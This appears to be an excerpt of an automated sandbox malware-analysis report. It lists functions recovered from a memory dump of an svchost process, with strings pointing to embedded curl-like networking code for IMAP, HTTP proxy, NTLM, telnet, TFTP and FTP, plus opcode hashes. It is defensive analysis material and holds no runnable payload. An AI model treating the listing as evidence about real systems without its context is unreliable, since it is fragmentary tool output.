Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: calloc
String ID: application/octet-stream$k
API String ID: 2635317215-2522224428
Opcode ID: 30bb503f96ebc74696a1404ab859e9a8b275aa8c8f1bb45eb47a91bb64c19206
Instruction ID: 9730e612749b383ba770a3aff8e195c2071525f33faa93fd7ddfc853f5035f14
Opcode Fuzzy Hash: 30bb503f96ebc74696a1404ab859e9a8b275aa8c8f1bb45eb47a91bb64c19206
Instruction Fuzzy Hash: F2E13B7A209B4086EB758B69E8403DDA7B5F744FD8FD80115CEAD07394EB39C999DB00

Function 00000173D017F650 Relevance: 24.3, APIs: 1, Strings: 15, Instructions: 336COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00000173D017F6AB

Strings

LSUB, xrefs: 00000173D017F9B8
EXAMINE, xrefs: 00000173D017F970
PREA, xrefs: 00000173D017F6EB
SELECT, xrefs: 00000173D017F958
SEARCH, xrefs: 00000173D017F7CD, 00000173D017F988
FETCH, xrefs: 00000173D017F822, 00000173D017F92E
UID, xrefs: 00000173D017F9D0
LIST, xrefs: 00000173D017F88D
EXPUNGE, xrefs: 00000173D017F9A0
GETQUOTAROOT, xrefs: 00000173D017F9E8
NOOP, xrefs: 00000173D017FA00
Unexpected continuation response, xrefs: 00000173D017FAFF
STORE, xrefs: 00000173D017F8D8
+, xrefs: 00000173D017FACF
CAPABILITY, xrefs: 00000173D017FA7D

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memcmp
String ID: +$CAPABILITY$EXAMINE$EXPUNGE$FETCH$GETQUOTAROOT$LIST$LSUB$NOOP$PREA$SEARCH$SELECT$STORE$UID$Unexpected continuation response
API String ID: 1475443563-2064110024
Opcode ID: e19a0e671e1203be4e80fbf40ae6663f2b95bf59ab074aa4eed95155bcf1594c
Instruction ID: 310eba573a2620212d9fffe784f4817890ccbd35e792c8932d929866b3dd13a1
Opcode Fuzzy Hash: e19a0e671e1203be4e80fbf40ae6663f2b95bf59ab074aa4eed95155bcf1594c
Instruction Fuzzy Hash: 66E1AC3A60C644C5FB758A96D1043EAF3B2A381FD8FC8401AC66D476D5FB69CB46B381

Function 00000173D0154360 Relevance: 24.2, APIs: 2, Strings: 14, Instructions: 166COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D015441F

Strings

WWW-Authenticate:, xrefs: 00000173D0154381
chunked, xrefs: 00000173D01544FE
HTTP/1., xrefs: 00000173D0154584
CONNECT responded chunked, xrefs: 00000173D015452B
Connection:, xrefs: 00000173D01544A7
Proxy-authenticate:, xrefs: 00000173D01543B3
, xrefs: 00000173D01545A2
Proxy-Connection:, xrefs: 00000173D015456B
CONNECT: fwd auth header '%s', xrefs: 00000173D01543F3
Transfer-Encoding:, xrefs: 00000173D01544C4, 00000173D0154514
Ignoring Content-Length in CONNECT %03d response, xrefs: 00000173D0154460
close, xrefs: 00000173D0154491, 00000173D0154555
Ignoring Transfer-Encoding in CONNECT %03d response, xrefs: 00000173D01544EA
Content-Length:, xrefs: 00000173D015443A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID: $CONNECT responded chunked$CONNECT: fwd auth header '%s'$Connection:$Content-Length:$HTTP/1.$Ignoring Content-Length in CONNECT %03d response$Ignoring Transfer-Encoding in CONNECT %03d response$Proxy-Connection:$Proxy-authenticate:$Transfer-Encoding:$WWW-Authenticate:$chunked$close
API String ID: 1294909896-1501247955
Opcode ID: b5ce278b5ba784beb5d0bd0ff499b44304f26d4eff64a7c541cf6d0bb6d4c68e
Instruction ID: f5aab1efb738ca02c75cdd31a183e88276e47b911cf6bf2a20df8db560dd3f1a
Opcode Fuzzy Hash: b5ce278b5ba784beb5d0bd0ff499b44304f26d4eff64a7c541cf6d0bb6d4c68e
Instruction Fuzzy Hash: F171807921829496FB34DB96E5947E9A771A342FC8FC44012D97E0BB85FB78C309A701

Function 00000173D01A5720 Relevance: 22.6, APIs: 18, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D0158880: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01588C8

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A575E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5772
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5786
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A579A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A57AE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A57C2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A57D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A57EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A57FE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5812
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5826
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5837
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5848
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5859
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A586A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A587E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A589A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A58AB

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ea893b04b6395d67d000b634847ae42eb734c70cfd45d7d6b81926d0d54aead7
Instruction ID: 7e2525cb039c52db42b05a1ed5e838b5b28ef55d010004f46f8eb6566b21c120
Opcode Fuzzy Hash: ea893b04b6395d67d000b634847ae42eb734c70cfd45d7d6b81926d0d54aead7
Instruction Fuzzy Hash: AB41C43A209F919AE6989F65EA9439CB3B4F789BA0F444105CF7E43310EF34E1B59710

Function 00000173D01AD5E0 Relevance: 19.7, APIs: 9, Strings: 4, Instructions: 209COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AD731
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AD73A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AD79F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AD7A8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AD8A6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AD8AF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AD942

Strings

WDigest, xrefs: 00000173D01AD659, 00000173D01AD75F
schannel: InitializeSecurityContext failed: %s, xrefs: 00000173D01AD8D7
DIGEST-MD5 handshake failure (empty challenge message), xrefs: 00000173D01AD635
SSPI: could not get auth info, xrefs: 00000173D01AD66A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID: DIGEST-MD5 handshake failure (empty challenge message)$SSPI: could not get auth info$WDigest$schannel: InitializeSecurityContext failed: %s
API String ID: 1294909896-508395639
Opcode ID: 5956d99175cbb9ad2bfaf52e5a060276d7ef3c07d118a9b35e6df26b4ac68c94
Instruction ID: 650e27f13acf5502d927ca219e43411058866d83a8f06e9b217bf3b5c7235bed
Opcode Fuzzy Hash: 5956d99175cbb9ad2bfaf52e5a060276d7ef3c07d118a9b35e6df26b4ac68c94
Instruction Fuzzy Hash: 2EA1497A608B9486EB249BA5E8543DEA3B4F749FC8F800015DE6E17B54FF38C646E740

Function 00000173D01A06D0 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 223stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00000173D01A07D3

Strings

BINARY, xrefs: 00000173D01A0918
NEW_ENV, xrefs: 00000173D01A08C7
Syntax error in telnet option: %s, xrefs: 00000173D01A0A51
TTYPE, xrefs: 00000173D01A095A
XDISPLOC, xrefs: 00000173D01A0863
USER,%s, xrefs: 00000173D01A0732
Unknown telnet option %s, xrefs: 00000173D01A0844

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: strchr
String ID: BINARY$NEW_ENV$Syntax error in telnet option: %s$TTYPE$USER,%s$Unknown telnet option %s$XDISPLOC
API String ID: 2830005266-1232391404
Opcode ID: c42a3dfb4a370017086041794bb8443a61c44bf4fb67fd2a3ce2e314f3e46a1c
Instruction ID: 9e6171a54f7f1ffd886c340b65d520508fdf00f8c01f5c291960c939cf2d56f5
Opcode Fuzzy Hash: c42a3dfb4a370017086041794bb8443a61c44bf4fb67fd2a3ce2e314f3e46a1c
Instruction Fuzzy Hash: 1DA1AA3A60C78181FA768FA1E4543EEA3B0F745FC4F8481259ABE57285EF39C706A740

Function 00000173D01A3710 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 212networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32 ref: 00000173D01A3889
sendto.WS2_32 ref: 00000173D01A394C
WSAGetLastError.WS2_32 ref: 00000173D01A3956

Strings

Received ACK for block %d, expecting %d, xrefs: 00000173D01A38DE
tftp_tx: internal error, event: %i, xrefs: 00000173D01A3762
tftp_tx: giving up waiting for block %d ack, xrefs: 00000173D01A3902
Timeout waiting for block %d ACK. Retries = %d, xrefs: 00000173D01A3777

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: sendto$ErrorLast
String ID: Received ACK for block %d, expecting %d$Timeout waiting for block %d ACK. Retries = %d$tftp_tx: giving up waiting for block %d ack$tftp_tx: internal error, event: %i
API String ID: 4042023021-2715966420
Opcode ID: 8a87e8774f9027f0560b17bcd9566997fc2b4c4cbcb327f0ac8111370436c656
Instruction ID: 78f8088c101d14216e8bb0dd021cbb0c66c2ff8e9766e895c45cc394cd0a731d
Opcode Fuzzy Hash: 8a87e8774f9027f0560b17bcd9566997fc2b4c4cbcb327f0ac8111370436c656
Instruction Fuzzy Hash: 17A17B7A20869086E771CF65D4407E9B7B0F389FC8F884026EE5E8B758EB38C645D750

Function 00000173D017E330 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 186COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000173D0153E76), ref: 00000173D017E49B
_vfwprintf_l.LIBCMT ref: 00000173D017E51C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000173D0153E76), ref: 00000173D017E52E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D017E564
_vfwprintf_l.LIBCMT ref: 00000173D017E601
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000173D0153E76), ref: 00000173D017E60F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D017E645

Strings

NTLM, xrefs: 00000173D017E335
Proxy-, xrefs: 00000173D017E53C, 00000173D017E61D
%sAuthorization: NTLM %s, xrefs: 00000173D017E546, 00000173D017E627
HTTP, xrefs: 00000173D017E34B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_vfwprintf_l
String ID: %sAuthorization: NTLM %s$HTTP$NTLM$Proxy-
API String ID: 1355092213-3948863929
Opcode ID: 1e5f55f230b8fbdbafccd35637d684bdb75166447e780192e33be56830b6f351
Instruction ID: 9491e11cd5d6b5c1229649b21122b7ba4515ac14ad1ebfa2bcb896679e261dec
Opcode Fuzzy Hash: 1e5f55f230b8fbdbafccd35637d684bdb75166447e780192e33be56830b6f351
Instruction Fuzzy Hash: 76814A3A309B8581EA20CB95E8847DAA7F0F799BC4F800126EA9D47B55FF38C645D740

Function 00000173D016C630 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 174COMMON

Download Yara Rule

Strings

Error while waiting for server connect, xrefs: 00000173D016C762
Ctrl conn has data while waiting for data conn, xrefs: 00000173D016C787
Got 226 before data activity, xrefs: 00000173D016C7FD
There is negative response in cache while serv connect, xrefs: 00000173D016C6BE
Checking for server connect, xrefs: 00000173D016C660
Ready to accept data connection from server, xrefs: 00000173D016C725
Accept timeout occurred while waiting server connect, xrefs: 00000173D016C677
FTP code: %03d, xrefs: 00000173D016C83A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID:
String ID: Accept timeout occurred while waiting server connect$Checking for server connect$Ctrl conn has data while waiting for data conn$Error while waiting for server connect$FTP code: %03d$Got 226 before data activity$Ready to accept data connection from server$There is negative response in cache while serv connect
API String ID: 0-817362717
Opcode ID: 3cf1106be62ad4aa77d014c2d57acf1851cf7790d9541708fa7bc9c69d88be28
Instruction ID: 503cd5362444797fc98f3391426d02d86d571c4a27c884c3b5587b67c6b9a9b7
Opcode Fuzzy Hash: 3cf1106be62ad4aa77d014c2d57acf1851cf7790d9541708fa7bc9c69d88be28
Instruction Fuzzy Hash: D051B67A70869045FA72DBAAE9503ED93619785BE4FC44021DE2C477D6EB38CA829700

Function 00000173D01A4360 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 209COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A439A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A43C5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A44CD
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A45D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A4602
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A460F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A4645

Strings

No URL set, xrefs: 00000173D01A43E7
cannot mix POSTFIELDS with RESUME_FROM, xrefs: 00000173D01A4412
User-Agent: %s, xrefs: 00000173D01A4652

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$calloc
String ID: No URL set$User-Agent: %s$cannot mix POSTFIELDS with RESUME_FROM
API String ID: 3095843317-2127885284
Opcode ID: 17838d9634a2369f2acdfbf23771de2f22ce04b96826ad6d8c52dd4c0fc01954
Instruction ID: aff659871b28452787cdf2b4b8f458cc09d4d6cb26503850b7c0c989de161206
Opcode Fuzzy Hash: 17838d9634a2369f2acdfbf23771de2f22ce04b96826ad6d8c52dd4c0fc01954
Instruction Fuzzy Hash: 41A18A3A309A90A7EB6C9BA5D2903E9B7B0F789BC0F840015DB7D47781EF24D6729300

Function 00000173D0178608 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 131COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0178781

Part of subcall function 00000173D01776D0: strchr.VCRUNTIME140 ref: 00000173D017772C
Part of subcall function 00000173D01776D0: strchr.VCRUNTIME140 ref: 00000173D0177741
Part of subcall function 00000173D01776D0: strchr.VCRUNTIME140 ref: 00000173D0177753

Strings

Negotiate: noauthpersist -> %d, header part: %s, xrefs: 00000173D01787F7
Proxy-authenticate:, xrefs: 00000173D0178748
HTTP/1.1 proxy connection set close, xrefs: 00000173D0178724
Proxy-Connection:, xrefs: 00000173D0178618, 00000173D0178651, 00000173D0178680, 00000173D01786C9, 00000173D0178700
keep-alive, xrefs: 00000173D017866A
Persistent-Auth:, xrefs: 00000173D017879E
HTTP/1.0 proxy connection set to keep alive, xrefs: 00000173D017869D
close, xrefs: 00000173D01786EA
false, xrefs: 00000173D01787DC

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: strchr$free
String ID: HTTP/1.0 proxy connection set to keep alive$HTTP/1.1 proxy connection set close$Negotiate: noauthpersist -> %d, header part: %s$Persistent-Auth:$Proxy-Connection:$Proxy-authenticate:$close$false$keep-alive
API String ID: 3578582447-3982183773
Opcode ID: 5400510bd5f16d79d403d8360efa22d2f07bb3401bc8769d45e40be599913d11
Instruction ID: 4dcf815fea7e5b2eced6927b4fe828e26ff3c718d67876bd2da6c08bb336d9f1
Opcode Fuzzy Hash: 5400510bd5f16d79d403d8360efa22d2f07bb3401bc8769d45e40be599913d11
Instruction Fuzzy Hash: 83516A3834C640C5FA759BA6D9543E9D2B1D786FC6FC400119A2E0BAD6FB68C785E702

Function 00000173D01B4320 Relevance: 15.0, APIs: 12, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B4330
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B433F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B434D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B435B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B4369
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B4377
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B4385
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B4393
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B43A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B43AF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B43BD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01B43CB

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 10e6199a7fed04eb3a9103f1f10943f543e8970542787782a8ffd54347bddaee
Instruction ID: 1858d2acf49c809234d6cf24a208e8de7c2547216ba6fa4edc27cbcdf3c3eee4
Opcode Fuzzy Hash: 10e6199a7fed04eb3a9103f1f10943f543e8970542787782a8ffd54347bddaee
Instruction Fuzzy Hash: C5217A3A109F1182E7609F69E9D426CB3B8FB8DFA9F500205CE6E42718EF34C5A6D751

Function 00000173D016A7A3 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB11
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB28
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB40
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB58
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D016AC1E

Strings

k, xrefs: 00000173D016ACB1
application/octet-stream, xrefs: 00000173D016AC10

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdup
String ID: application/octet-stream$k
API String ID: 2653869212-2522224428
Opcode ID: 709b11ccf052b55cd202305e6cbd407866a447e216ba33172544a202e0303097
Instruction ID: 69864e71a8c49087da965bc4105dc7f8801921275da64386cfe58e9193b103af
Opcode Fuzzy Hash: 709b11ccf052b55cd202305e6cbd407866a447e216ba33172544a202e0303097
Instruction Fuzzy Hash: B4B12B7A209B4486EB758B69D8403EDA7F5E704FD8FD80215CEAD06394FB39C958EB00

Function 00000173D016A803 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

k, xrefs: 00000173D016ACB1
application/octet-stream, xrefs: 00000173D016AC10

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID:
String ID: application/octet-stream$k
API String ID: 0-2522224428
Opcode ID: 7a8e5cfe7a1db2edb1b6a494e2eb3a7716bf34f0730d2bffec29c10d8b21fb3e
Instruction ID: 77ff13f6762f33691f13fbba1c229401c642eaefc8e872036f483701cf1fa303
Opcode Fuzzy Hash: 7a8e5cfe7a1db2edb1b6a494e2eb3a7716bf34f0730d2bffec29c10d8b21fb3e
Instruction Fuzzy Hash: B8B12A7A209B4486EB758B69D8403ECA7F5E704F98FD84215CEAD07394FB39C959EB00

Function 00000173D016A782 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 231COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB11
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB28
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB40
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016AB58
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D016AC1E

Strings

k, xrefs: 00000173D016ACB1
application/octet-stream, xrefs: 00000173D016AC10

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdup
String ID: application/octet-stream$k
API String ID: 2653869212-2522224428
Opcode ID: 2a92e434845d3c94a234db9cc82dc5f49bf461cb96b319b5a31757b7054bf419
Instruction ID: 9875f67b24fb846cd50306c4c2cb9a61bc310ce28ba57ea503b0c015533b3148
Opcode Fuzzy Hash: 2a92e434845d3c94a234db9cc82dc5f49bf461cb96b319b5a31757b7054bf419
